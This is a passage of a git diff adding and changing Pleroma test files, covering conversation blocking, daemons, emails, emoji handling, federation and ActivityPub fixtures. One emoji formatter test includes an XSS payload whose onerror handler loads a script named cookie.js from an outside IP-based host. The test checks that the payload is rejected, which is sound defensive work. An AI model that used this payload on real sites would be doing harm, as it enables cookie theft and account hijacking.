+ # The conversations with the blocked user are marked as read
+ assert [%{read: true}, %{read: true}, %{read: true}, %{read: false}] =
+ Participation.for_user(blocker)
+
+ assert User.get_cached_by_id(blocker.id).unread_conversation_count == 1
+
+ # The conversation is not marked as read for the blocked user
+ assert [_, _, %{read: false}] = Participation.for_user(blocked)
+ assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1
+
+ # The conversation is not marked as read for the third user
+ assert [%{read: false}, _, _] = Participation.for_user(third_user)
+ assert User.get_cached_by_id(third_user.id).unread_conversation_count == 1
+ end
+
+ test "the new conversation with the blocked user is not marked as unread " do
+ blocker = insert(:user)
+ blocked = insert(:user)
+ third_user = insert(:user)
+
+ {:ok, _user_relationship} = User.block(blocker, blocked)
+
+ # When the blocked user is the author
+ {:ok, _direct1} =
+ CommonAPI.post(blocked, %{
+ "status" => "Hi @#{blocker.nickname}",
+ "visibility" => "direct"
+ })
+
+ assert [%{read: true}] = Participation.for_user(blocker)
+ assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0
+
+ # When the blocked user is a recipient
+ {:ok, _direct2} =
+ CommonAPI.post(third_user, %{
+ "status" => "Hi @#{blocker.nickname}, @#{blocked.nickname}",
+ "visibility" => "direct"
+ })
+
+ assert [%{read: true}, %{read: true}] = Participation.for_user(blocker)
+ assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0
+
+ assert [%{read: false}, _] = Participation.for_user(blocked)
+ assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1
+ end
+
+ test "the conversation with the blocked user is not marked as unread on a reply" do
+ blocker = insert(:user)
+ blocked = insert(:user)
+ third_user = insert(:user)
+
+ {:ok, _direct1} =
+ CommonAPI.post(blocker, %{
+ "status" => "Hi @#{third_user.nickname}, @#{blocked.nickname}",
+ "visibility" => "direct"
+ })
+
+ {:ok, _user_relationship} = User.block(blocker, blocked)
+ assert [%{read: true}] = Participation.for_user(blocker)
+ assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0
+
+ assert [blocked_participation] = Participation.for_user(blocked)
+
+ # When it's a reply from the blocked user
+ {:ok, _direct2} =
+ CommonAPI.post(blocked, %{
+ "status" => "reply",
+ "visibility" => "direct",
+ "in_reply_to_conversation_id" => blocked_participation.id
+ })
+
+ assert [%{read: true}] = Participation.for_user(blocker)
+ assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0
+
+ assert [third_user_participation] = Participation.for_user(third_user)
+
+ # When it's a reply from the third user
+ {:ok, _direct3} =
+ CommonAPI.post(third_user, %{
+ "status" => "reply",
+ "visibility" => "direct",
+ "in_reply_to_conversation_id" => third_user_participation.id
+ })
+
+ assert [%{read: true}] = Participation.for_user(blocker)
+ assert User.get_cached_by_id(blocker.id).unread_conversation_count == 0
+
+ # Marked as unread for the blocked user
+ assert [%{read: false}] = Participation.for_user(blocked)
+ assert User.get_cached_by_id(blocked.id).unread_conversation_count == 1
+ end
+ end
end
diff --git a/test/conversation_test.exs b/test/conversation_test.exs
index aa193e0d4..693427d80 100644
--- a/test/conversation_test.exs
+++ b/test/conversation_test.exs
@@ -11,14 +11,8 @@ defmodule Pleroma.ConversationTest do
import Pleroma.Factory
- setup_all do
- config_path = [:instance, :federating]
- initial_setting = Pleroma.Config.get(config_path)
-
- Pleroma.Config.put(config_path, true)
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
-
- :ok
+ clear_config_all([:instance, :federating]) do
+ Pleroma.Config.put([:instance, :federating], true)
end
test "it goes through old direct conversations" do
@@ -28,6 +22,8 @@ defmodule Pleroma.ConversationTest do
{:ok, _activity} =
CommonAPI.post(user, %{"visibility" => "direct", "status" => "hey @#{other_user.nickname}"})
+ Pleroma.Tests.ObanHelpers.perform_all()
+
Repo.delete_all(Conversation)
Repo.delete_all(Conversation.Participation)
diff --git a/test/daemons/activity_expiration_daemon_test.exs b/test/daemons/activity_expiration_daemon_test.exs
new file mode 100644
index 000000000..b51132fb0
--- /dev/null
+++ b/test/daemons/activity_expiration_daemon_test.exs
@@ -0,0 +1,17 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.ActivityExpirationWorkerTest do
+ use Pleroma.DataCase
+ alias Pleroma.Activity
+ import Pleroma.Factory
+
+ test "deletes an activity" do
+ activity = insert(:note_activity)
+ expiration = insert(:expiration_in_the_past, %{activity_id: activity.id})
+ Pleroma.Daemons.ActivityExpirationDaemon.perform(:execute, expiration.id)
+
+ refute Repo.get(Activity, activity.id)
+ end
+end
diff --git a/test/daemons/digest_email_daemon_test.exs b/test/daemons/digest_email_daemon_test.exs
new file mode 100644
index 000000000..faf592d5f
--- /dev/null
+++ b/test/daemons/digest_email_daemon_test.exs
@@ -0,0 +1,35 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.DigestEmailDaemonTest do
+ use Pleroma.DataCase
+ import Pleroma.Factory
+
+ alias Pleroma.Daemons.DigestEmailDaemon
+ alias Pleroma.Tests.ObanHelpers
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ test "it sends digest emails" do
+ user = insert(:user)
+
+ date =
+ Timex.now()
+ |> Timex.shift(days: -10)
+ |> Timex.to_naive_datetime()
+
+ user2 = insert(:user, last_digest_emailed_at: date)
+ {:ok, _} = User.switch_email_notifications(user2, "digest", true)
+ CommonAPI.post(user, %{"status" => "hey @#{user2.nickname}!"})
+
+ DigestEmailDaemon.perform()
+ ObanHelpers.perform_all()
+ # Performing job(s) enqueued at previous step
+ ObanHelpers.perform_all()
+
+ assert_received {:email, email}
+ assert email.to == [{user2.name, user2.email}]
+ assert email.subject == "Your digest from #{Pleroma.Config.get(:instance)[:name]}"
+ end
+end
diff --git a/test/scheduled_activity_worker_test.exs b/test/daemons/scheduled_activity_daemon_test.exs
index e3ad1244e..c8e464491 100644
--- a/test/scheduled_activity_worker_test.exs
+++ b/test/daemons/scheduled_activity_daemon_test.exs
@@ -1,8 +1,8 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
-defmodule Pleroma.ScheduledActivityWorkerTest do
+defmodule Pleroma.ScheduledActivityDaemonTest do
use Pleroma.DataCase
alias Pleroma.ScheduledActivity
import Pleroma.Factory
@@ -10,7 +10,7 @@ defmodule Pleroma.ScheduledActivityWorkerTest do
test "creates a status from the scheduled activity" do
user = insert(:user)
scheduled_activity = insert(:scheduled_activity, user: user, params: %{status: "hi"})
- Pleroma.ScheduledActivityWorker.perform(:execute, scheduled_activity.id)
+ Pleroma.Daemons.ScheduledActivityDaemon.perform(:execute, scheduled_activity.id)
refute Repo.get(ScheduledActivity, scheduled_activity.id)
activity = Repo.all(Pleroma.Activity) |> Enum.find(&(&1.actor == user.ap_id))
diff --git a/test/docs/generator_test.exs b/test/docs/generator_test.exs
new file mode 100644
index 000000000..9c9f4357b
--- /dev/null
+++ b/test/docs/generator_test.exs
@@ -0,0 +1,230 @@
+defmodule Pleroma.Docs.GeneratorTest do
+ use ExUnit.Case, async: true
+ alias Pleroma.Docs.Generator
+
+ @descriptions [
+ %{
+ group: :pleroma,
+ key: Pleroma.Upload,
+ type: :group,
+ description: "",
+ children: [
+ %{
+ key: :uploader,
+ type: :module,
+ description: "",
+ suggestions:
+ Generator.list_modules_in_dir(
+ "lib/pleroma/upload/filter",
+ "Elixir.Pleroma.Upload.Filter."
+ )
+ },
+ %{
+ key: :filters,
+ type: {:list, :module},
+ description: "",
+ suggestions:
+ Generator.list_modules_in_dir(
+ "lib/pleroma/web/activity_pub/mrf",
+ "Elixir.Pleroma.Web.ActivityPub.MRF."
+ )
+ },
+ %{
+ key: Pleroma.Upload,
+ type: :string,
+ description: "",
+ suggestions: [""]
+ },
+ %{
+ key: :some_key,
+ type: :keyword,
+ description: "",
+ suggestions: [],
+ children: [
+ %{
+ key: :another_key,
+ type: :integer,
+ description: "",
+ suggestions: [5]
+ },
+ %{
+ key: :another_key_with_label,
+ label: "Another label",
+ type: :integer,
+ description: "",
+ suggestions: [7]
+ }
+ ]
+ },
+ %{
+ key: :key1,
+ type: :atom,
+ description: "",
+ suggestions: [
+ :atom,
+ Pleroma.Upload,
+ {:tuple, "string", 8080},
+ [:atom, Pleroma.Upload, {:atom, Pleroma.Upload}]
+ ]
+ },
+ %{
+ key: Pleroma.Upload,
+ label: "Special Label",
+ type: :string,
+ description: "",
+ suggestions: [""]
+ },
+ %{
+ group: {:subgroup, Swoosh.Adapters.SMTP},
+ key: :auth,
+ type: :atom,
+ description: "`Swoosh.Adapters.SMTP` adapter specific setting",
+ suggestions: [:always, :never, :if_available]
+ },
+ %{
+ key: "application/xml",
+ type: {:list, :string},
+ suggestions: ["xml"]
+ },
+ %{
+ key: :versions,
+ type: {:list, :atom},
+ description: "List of TLS version to use",
+ suggestions: [:tlsv1, ":tlsv1.1", ":tlsv1.2"]
+ }
+ ]
+ },
+ %{
+ group: :tesla,
+ key: :adapter,
+ type: :group,
+ description: ""
+ },
+ %{
+ group: :cors_plug,
+ type: :group,
+ children: [%{key: :key1, type: :string, suggestions: [""]}]
+ },
+ %{group: "Some string group", key: "Some string key", type: :group}
+ ]
+
+ describe "convert_to_strings/1" do
+ test "group, key, label" do
+ [desc1, desc2 | _] = Generator.convert_to_strings(@descriptions)
+
+ assert desc1[:group] == ":pleroma"
+ assert desc1[:key] == "Pleroma.Upload"
+ assert desc1[:label] == "Pleroma.Upload"
+
+ assert desc2[:group] == ":tesla"
+ assert desc2[:key] == ":adapter"
+ assert desc2[:label] == "Adapter"
+ end
+
+ test "group without key" do
+ descriptions = Generator.convert_to_strings(@descriptions)
+ desc = Enum.at(descriptions, 2)
+
+ assert desc[:group] == ":cors_plug"
+ refute desc[:key]
+ assert desc[:label] == "Cors plug"
+ end
+
+ test "children key, label, type" do
+ [%{children: [child1, child2, child3, child4 | _]} | _] =
+ Generator.convert_to_strings(@descriptions)
+
+ assert child1[:key] == ":uploader"
+ assert child1[:label] == "Uploader"
+ assert child1[:type] == :module
+
+ assert child2[:key] == ":filters"
+ assert child2[:label] == "Filters"
+ assert child2[:type] == {:list, :module}
+
+ assert child3[:key] == "Pleroma.Upload"
+ assert child3[:label] == "Pleroma.Upload"
+ assert child3[:type] == :string
+
+ assert child4[:key] == ":some_key"
+ assert child4[:label] == "Some key"
+ assert child4[:type] == :keyword
+ end
+
+ test "child with predefined label" do
+ [%{children: children} | _] = Generator.convert_to_strings(@descriptions)
+ child = Enum.at(children, 5)
+ assert child[:key] == "Pleroma.Upload"
+ assert child[:label] == "Special Label"
+ end
+
+ test "subchild" do
+ [%{children: children} | _] = Generator.convert_to_strings(@descriptions)
+ child = Enum.at(children, 3)
+ %{children: [subchild | _]} = child
+
+ assert subchild[:key] == ":another_key"
+ assert subchild[:label] == "Another key"
+ assert subchild[:type] == :integer
+ end
+
+ test "subchild with predefined label" do
+ [%{children: children} | _] = Generator.convert_to_strings(@descriptions)
+ child = Enum.at(children, 3)
+ %{children: subchildren} = child
+ subchild = Enum.at(subchildren, 1)
+
+ assert subchild[:key] == ":another_key_with_label"
+ assert subchild[:label] == "Another label"
+ end
+
+ test "module suggestions" do
+ [%{children: [%{suggestions: suggestions} | _]} | _] =
+ Generator.convert_to_strings(@descriptions)
+
+ Enum.each(suggestions, fn suggestion ->
+ assert String.starts_with?(suggestion, "Pleroma.")
+ end)
+ end
+
+ test "atoms in suggestions with leading `:`" do
+ [%{children: children} | _] = Generator.convert_to_strings(@descriptions)
+ %{suggestions: suggestions} = Enum.at(children, 4)
+ assert Enum.at(suggestions, 0) == ":atom"
+ assert Enum.at(suggestions, 1) == "Pleroma.Upload"
+ assert Enum.at(suggestions, 2) == {":tuple", "string", 8080}
+ assert Enum.at(suggestions, 3) == [":atom", "Pleroma.Upload", {":atom", "Pleroma.Upload"}]
+
+ %{suggestions: suggestions} = Enum.at(children, 6)
+ assert Enum.at(suggestions, 0) == ":always"
+ assert Enum.at(suggestions, 1) == ":never"
+ assert Enum.at(suggestions, 2) == ":if_available"
+ end
+
+ test "group, key as string in main desc" do
+ descriptions = Generator.convert_to_strings(@descriptions)
+ desc = Enum.at(descriptions, 3)
+ assert desc[:group] == "Some string group"
+ assert desc[:key] == "Some string key"
+ end
+
+ test "key as string subchild" do
+ [%{children: children} | _] = Generator.convert_to_strings(@descriptions)
+ child = Enum.at(children, 7)
+ assert child[:key] == "application/xml"
+ end
+
+ test "suggestion for tls versions" do
+ [%{children: children} | _] = Generator.convert_to_strings(@descriptions)
+ child = Enum.at(children, 8)
+ assert child[:suggestions] == [":tlsv1", ":tlsv1.1", ":tlsv1.2"]
+ end
+
+ test "subgroup with module name" do
+ [%{children: children} | _] = Generator.convert_to_strings(@descriptions)
+
+ %{group: subgroup} = Enum.at(children, 6)
+ assert subgroup == {":subgroup", "Swoosh.Adapters.SMTP"}
+ end
+ end
+end
diff --git a/test/emails/admin_email_test.exs b/test/emails/admin_email_test.exs
index 4bf54b0c2..ad89f9213 100644
--- a/test/emails/admin_email_test.exs
+++ b/test/emails/admin_email_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.AdminEmailTest do
@@ -19,12 +19,11 @@ defmodule Pleroma.Emails.AdminEmailTest do
AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment")
status_url = Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, "12")
- reporter_url = Helpers.o_status_url(Pleroma.Web.Endpoint, :feed_redirect, reporter.nickname)
- account_url = Helpers.o_status_url(Pleroma.Web.Endpoint, :feed_redirect, account.nickname)
+ reporter_url = Helpers.feed_url(Pleroma.Web.Endpoint, :feed_redirect, reporter.id)
+ account_url = Helpers.feed_url(Pleroma.Web.Endpoint, :feed_redirect, account.id)
assert res.to == [{to_user.name, to_user.email}]
assert res.from == {config[:name], config[:notify_email]}
- assert res.reply_to == {reporter.name, reporter.email}
assert res.subject == "#{config[:name]} Report"
assert res.html_body ==
@@ -34,4 +33,17 @@ defmodule Pleroma.Emails.AdminEmailTest do
status_url
}\">#{status_url}</li>\n </ul>\n</p>\n\n"
end
+
+ test "it works when the reporter is a remote user without email" do
+ config = Pleroma.Config.get(:instance)
+ to_user = insert(:user)
+ reporter = insert(:user, email: nil, local: false)
+ account = insert(:user)
+
+ res =
+ AdminEmail.report(to_user, reporter, account, [%{name: "Test", id: "12"}], "Test comment")
+
+ assert res.to == [{to_user.name, to_user.email}]
+ assert res.from == {config[:name], config[:notify_email]}
+ end
end
diff --git a/test/emails/mailer_test.exs b/test/emails/mailer_test.exs
index 450bb09c7..2425c85dd 100644
--- a/test/emails/mailer_test.exs
+++ b/test/emails/mailer_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.MailerTest do
@@ -15,11 +15,7 @@ defmodule Pleroma.Emails.MailerTest do
to: [{"Test User", "user1@example.com"}]
}
- setup do
- value = Pleroma.Config.get([Pleroma.Emails.Mailer, :enabled])
- on_exit(fn -> Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], value) end)
- :ok
- end
+ clear_config([Pleroma.Emails.Mailer, :enabled])
test "not send email when mailer is disabled" do
Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false)
diff --git a/test/emails/user_email_test.exs b/test/emails/user_email_test.exs
index 7d8df6abc..9e145977e 100644
--- a/test/emails/user_email_test.exs
+++ b/test/emails/user_email_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.UserEmailTest do
@@ -36,7 +36,7 @@ defmodule Pleroma.Emails.UserEmailTest do
test "build account confirmation email" do
config = Pleroma.Config.get(:instance)
- user = insert(:user, info: %Pleroma.User.Info{confirmation_token: "conf-token"})
+ user = insert(:user, confirmation_token: "conf-token")
email = UserEmail.account_confirmation_email(user)
assert email.from == {config[:name], config[:notify_email]}
assert email.to == [{user.name, user.email}]
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
new file mode 100644
index 000000000..fda80d470
--- /dev/null
+++ b/test/emoji/formatter_test.exs
@@ -0,0 +1,61 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+ alias Pleroma.Emoji
+ alias Pleroma.Emoji.Formatter
+ use Pleroma.DataCase
+
+ describe "emojify" do
+ test "it adds cool emoji" do
+ text = "I love :firefox:"
+
+ expected_result =
+ "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
+
+ assert Formatter.emojify(text) == expected_result
+ end
+
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji =
+ {
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
+ "https://placehold.it/1x1"
+ }
+ |> Pleroma.Emoji.build()
+
+ refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
+ end
+ end
+
+ describe "get_emoji" do
+ test "it returns the emoji used in the text" do
+ text = "I love :firefox:"
+
+ assert Formatter.get_emoji(text) == [
+ {"firefox",
+ %Emoji{
+ code: "firefox",
+ file: "/emoji/Firefox.gif",
+ tags: ["Gif", "Fun"],
+ safe_code: "firefox",
+ safe_file: "/emoji/Firefox.gif"
+ }}
+ ]
+ end
+
+ test "it returns a nice empty result when no emojis are present" do
+ text = "I love moominamma"
+ assert Formatter.get_emoji(text) == []
+ end
+
+ test "it doesn't die when text is absent" do
+ text = nil
+ assert Formatter.get_emoji(text) == []
+ end
+ end
+end
diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs
new file mode 100644
index 000000000..045eef150
--- /dev/null
+++ b/test/emoji/loader_test.exs
@@ -0,0 +1,83 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.LoaderTest do
+ use ExUnit.Case, async: true
+ alias Pleroma.Emoji.Loader
+
+ describe "match_extra/2" do
+ setup do
+ groups = [
+ "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
+ "wildcard folder": "/emoji/custom/*/file.png",
+ "wildcard files": "/emoji/custom/folder/*.png",
+ "special file": "/emoji/custom/special.png"
+ ]
+
+ {:ok, groups: groups}
+ end
+
+ test "config for list of files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/first_file.png")
+ |> to_string()
+
+ assert group == "list of files"
+ end
+
+ test "config with wildcard folder", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard folder and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
+ |> to_string()
+
+ assert group == "wildcard folder"
+ end
+
+ test "config with wildcard files", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config with wildcard files and subfolders", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
+ |> to_string()
+
+ assert group == "wildcard files"
+ end
+
+ test "config for special file", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/custom/special.png")
+ |> to_string()
+
+ assert group == "special file"
+ end
+
+ test "no mathing returns nil", %{groups: groups} do
+ group =
+ groups
+ |> Loader.match_extra("/emoji/some_undefined.png")
+
+ refute group
+ end
+ end
+end
diff --git a/test/emoji_test.exs b/test/emoji_test.exs
index 07ac6ff1d..7bdf2b6fa 100644
--- a/test/emoji_test.exs
+++ b/test/emoji_test.exs
@@ -6,6 +6,14 @@ defmodule Pleroma.EmojiTest do
use ExUnit.Case, async: true
alias Pleroma.Emoji
+ describe "is_unicode_emoji?/1" do
+ test "tells if a string is an unicode emoji" do
+ refute Emoji.is_unicode_emoji?("X")
+ assert Emoji.is_unicode_emoji?("☂")
+ assert Emoji.is_unicode_emoji?("🥺")
+ end
+ end
+
describe "get_all/0" do
setup do
emoji_list = Emoji.get_all()
@@ -14,9 +22,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
- {code, path, tags} = emoji
+ {code, %Emoji{file: path, tags: tags}} = emoji
- assert tuple_size(emoji) == 3
+ assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@@ -24,87 +32,12 @@ defmodule Pleroma.EmojiTest do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
- {code, path, tags} = emoji
+ {code, %Emoji{file: path, tags: tags}} = emoji
- assert tuple_size(emoji) == 3
+ assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
end
end
-
- describe "match_extra/2" do
- setup do
- groups = [
- "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
- "wildcard folder": "/emoji/custom/*/file.png",
- "wildcard files": "/emoji/custom/folder/*.png",
- "special file": "/emoji/custom/special.png"
- ]
-
- {:ok, groups: groups}
- end
-
- test "config for list of files", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/first_file.png")
- |> to_string()
-
- assert group == "list of files"
- end
-
- test "config with wildcard folder", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/some_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard folder and subfolders", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard files", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config with wildcard files and subfolders", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config for special file", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/custom/special.png")
- |> to_string()
-
- assert group == "special file"
- end
-
- test "no mathing returns nil", %{groups: groups} do
- group =
- groups
- |> Emoji.match_extra("/emoji/some_undefined.png")
-
- refute group
- end
- end
end
diff --git a/test/federation/federation_test.exs b/test/federation/federation_test.exs
new file mode 100644
index 000000000..45800568a
--- /dev/null
+++ b/test/federation/federation_test.exs
@@ -0,0 +1,47 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Integration.FederationTest do
+ use Pleroma.DataCase
+ @moduletag :federated
+ import Pleroma.Cluster
+
+ setup_all do
+ Pleroma.Cluster.spawn_default_cluster()
+ :ok
+ end
+
+ @federated1 :"federated1@127.0.0.1"
+ describe "federated cluster primitives" do
+ test "within/2 captures local bindings and executes block on remote node" do
+ captured_binding = :captured
+
+ result =
+ within @federated1 do
+ user = Pleroma.Factory.insert(:user)
+ {captured_binding, node(), user}
+ end
+
+ assert {:captured, @federated1, user} = result
+ refute Pleroma.User.get_by_id(user.id)
+ assert user.id == within(@federated1, do: Pleroma.User.get_by_id(user.id)).id
+ end
+
+ test "runs webserver on customized port" do
+ {nickname, url, url_404} =
+ within @federated1 do
+ import Pleroma.Web.Router.Helpers
+ user = Pleroma.Factory.insert(:user)
+ user_url = account_url(Pleroma.Web.Endpoint, :show, user)
+ url_404 = account_url(Pleroma.Web.Endpoint, :show, "not-exists")
+
+ {user.nickname, user_url, url_404}
+ end
+
+ assert {:ok, {{_, 200, _}, _headers, body}} = :httpc.request(~c"#{url}")
+ assert %{"acct" => ^nickname} = Jason.decode!(body)
+ assert {:ok, {{_, 404, _}, _headers, _body}} = :httpc.request(~c"#{url_404}")
+ end
+ end
+end
diff --git a/test/fixtures/bogus-mastodon-announce.json b/test/fixtures/bogus-mastodon-announce.json
new file mode 100644
index 000000000..0485b80b9
--- /dev/null
+++ b/test/fixtures/bogus-mastodon-announce.json
@@ -0,0 +1,43 @@
+{
+ "type": "Announce",
+ "to": [
+ "https://www.w3.org/ns/activitystreams#Public"
+ ],
+ "published": "2018-02-17T19:39:15Z",
+ "object": {
+ "type": "Note",
+ "id": "https://mastodon.social/users/emelie/statuses/101849165031453404",
+ "attributedTo": "https://mastodon.social/users/emelie",
+ "content": "this is a public toot",
+ "to": [
+ "https://www.w3.org/ns/activitystreams#Public"
+ ],
+ "cc": [
+ "https://mastodon.social/users/emelie",
+ "https://mastodon.social/users/emelie/followers"
+ ]
+ },
+ "id": "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity",
+ "cc": [
+ "http://mastodon.example.org/users/admin",
+ "http://mastodon.example.org/users/admin/followers"
+ ],
+ "atomUri": "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity",
+ "actor": "http://mastodon.example.org/users/admin",
+ "@context": [
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ {
+ "toot": "http://joinmastodon.org/ns#",
+ "sensitive": "as:sensitive",
+ "ostatus": "http://ostatus.org#",
+ "movedTo": "as:movedTo",
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
+ "inReplyToAtomUri": "ostatus:inReplyToAtomUri",
+ "conversation": "ostatus:conversation",
+ "atomUri": "ostatus:atomUri",
+ "Hashtag": "as:Hashtag",
+ "Emoji": "toot:Emoji"
+ }
+ ]
+}
diff --git a/test/fixtures/config/temp.secret.exs b/test/fixtures/config/temp.secret.exs
new file mode 100644
index 000000000..f4686c101
--- /dev/null
+++ b/test/fixtures/config/temp.secret.exs
@@ -0,0 +1,9 @@
+use Mix.Config
+
+config :pleroma, :first_setting, key: "value", key2: [Pleroma.Repo]
+
+config :pleroma, :second_setting, key: "value2", key2: ["Activity"]
+
+config :quack, level: :info
+
+config :pleroma, Pleroma.Repo, pool: Ecto.Adapters.SQL.Sandbox
diff --git a/test/fixtures/emoji-reaction.json b/test/fixtures/emoji-reaction.json
new file mode 100644
index 000000000..3812e43ad
--- /dev/null
+++ b/test/fixtures/emoji-reaction.json
@@ -0,0 +1,30 @@
+{
+ "type": "EmojiReaction",
+ "signature": {
+ "type": "RsaSignature2017",
+ "signatureValue": "fdxMfQSMwbC6wP6sh6neS/vM5879K67yQkHTbiT5Npr5wAac0y6+o3Ij+41tN3rL6wfuGTosSBTHOtta6R4GCOOhCaCSLMZKypnp1VltCzLDoyrZELnYQIC8gpUXVmIycZbREk22qWUe/w7DAFaKK4UscBlHDzeDVcA0K3Se5Sluqi9/Zh+ldAnEzj/rSEPDjrtvf5wGNf3fHxbKSRKFt90JvKK6hS+vxKUhlRFDf6/SMETw+EhwJSNW4d10yMUakqUWsFv4Acq5LW7l+HpYMvlYY1FZhNde1+uonnCyuQDyvzkff8zwtEJmAXC4RivO/VVLa17SmqheJZfI8oluVg==",
+ "creator": "http://mastodon.example.org/users/admin#main-key",
+ "created": "2018-02-17T18:57:49Z"
+ },
+ "object": "http://localtesting.pleroma.lol/objects/eb92579d-3417-42a8-8652-2492c2d4f454",
+ "content": "👌",
+ "nickname": "lain",
+ "id": "http://mastodon.example.org/users/admin#reactions/2",
+ "actor": "http://mastodon.example.org/users/admin",
+ "@context": [
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ {
+ "toot": "http://joinmastodon.org/ns#",
+ "sensitive": "as:sensitive",
+ "ostatus": "http://ostatus.org#",
+ "movedTo": "as:movedTo",
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
+ "inReplyToAtomUri": "ostatus:inReplyToAtomUri",
+ "conversation": "ostatus:conversation",
+ "atomUri": "ostatus:atomUri",
+ "Hashtag": "as:Hashtag",
+ "Emoji": "toot:Emoji"
+ }
+ ]
+}
diff --git a/test/fixtures/mastodon-announce-private.json b/test/fixtures/mastodon-announce-private.json
new file mode 100644
index 000000000..9b868b13d
--- /dev/null
+++ b/test/fixtures/mastodon-announce-private.json
@@ -0,0 +1,35 @@
+{
+ "type": "Announce",
+ "to": [
+ "http://mastodon.example.org/users/admin/followers"
+ ],
+ "published": "2018-02-17T19:39:15Z",
+ "object": {
+ "type": "Note",
+ "id": "http://mastodon.example.org/@admin/99541947525187368",
+ "attributedTo": "http://mastodon.example.org/users/admin",
+ "content": "this is a private toot",
+ "to": [
